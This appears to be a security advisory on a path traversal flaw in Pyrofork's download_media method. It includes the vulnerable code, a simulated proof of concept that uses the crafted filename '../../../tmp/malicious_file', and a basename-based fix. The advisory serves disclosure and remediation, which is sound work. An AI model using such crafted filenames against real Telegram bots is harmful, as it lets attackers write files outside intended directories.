Pyrofork has a Path Traversal in download_media Method

media_file_name = getattr(media, "file_name", "")  # Value from Telegram message

directory, file_name = os.path.split(file_name)    # Split user's path parameter
file_name = file_name or media_file_name or ""     # Falls back to media_file_name if empty

temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"

if not os.path.isabs(file_name):
    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)

#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""

import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass

@dataclass
class MockDocument:
    """Simulates a Telegram Document with attacker-controlled file_name"""
    file_id: str
    file_name: str  # Attacker-controlled!

@dataclass  
class MockMessage:
    """Simulates a Telegram Message"""
    document: MockDocument

DEFAULT_DOWNLOAD_DIR = "downloads/"

def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
    """
    Simulates the vulnerable logic from:
    - pyrogram/methods/messages/download_media.py (lines 145-154)
    - pyrogram/client.py (line 1125)
    """
    media = message.document
    media_file_name = getattr(media, "file_name", "")
    
    # Line 150-151: Split and fallback
    directory, file_name = os.path.split(file_name)
    file_name = file_name or media_file_name or ""
    
    # Line 153-154: isabs check (insufficient!)
    if not os.path.isabs(file_name):
        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
    
    if not file_name:
        file_name = "generated_file.bin"
    
    # Line 1125 in client.py: Path construction
    import re
    temp_file_path = os.path.abspath(
        re.sub("\\\\", "/", os.path.join(str(directory), file_name))
    ) + ".temp"
    
    return temp_file_path

def run_poc():
    print("=" * 60)
    print("PYROFORK PATH TRAVERSAL PoC")
    print("=" * 60)
    
    with tempfile.TemporaryDirectory() as temp_base:
        parent_dir = Path(temp_base)
        expected_dir = str(parent_dir / "downloads")
        
        print(f"\n[*] Bot working directory: {parent_dir}")
        print(f"[*] Expected download dir: {expected_dir}")
        
        # Attack: Path traversal with ../
        print("\n" + "-" * 60)
        print("TEST: Path Traversal Attack")
        print("-" * 60)
        
        malicious_msg = MockMessage(
            document=MockDocument(
                file_id="test_id",
                file_name="../../../tmp/malicious_file"
            )
        )
        
        result_path = vulnerable_download_media(
            parent_dir=parent_dir,
            message=malicious_msg,
            file_name="downloads/"
        )
        
        # Remove .temp suffix for final path
        final_path = os.path.splitext(result_path)[0]
        
        print(f"[*] Malicious filename: ../../../tmp/malicious_file")
        print(f"[*] Resulting path: {final_path}")
        
        if not final_path.startswith(expected_dir):
            print(f"\n[!] VULNERABILITY CONFIRMED")
            print(f"[!] File path escapes intended directory!")
            print(f"[!] Expected: {expected_dir}/...")
            print(f"[!] Actual: {final_path}")
        else:
            print("[*] Path is within expected directory")

if __name__ == "__main__":
    run_poc()

python3 poc_script.py

file_name = file_name or media_file_name or ""

# Add this sanitization block:
if file_name:
    # Remove any path components, keeping only the basename
    file_name = os.path.basename(file_name)
    # Remove null bytes which could cause issues
    file_name = file_name.replace('\x00', '')
    # Handle edge cases
    if not file_name or file_name in ('.', '..'):
        file_name = ""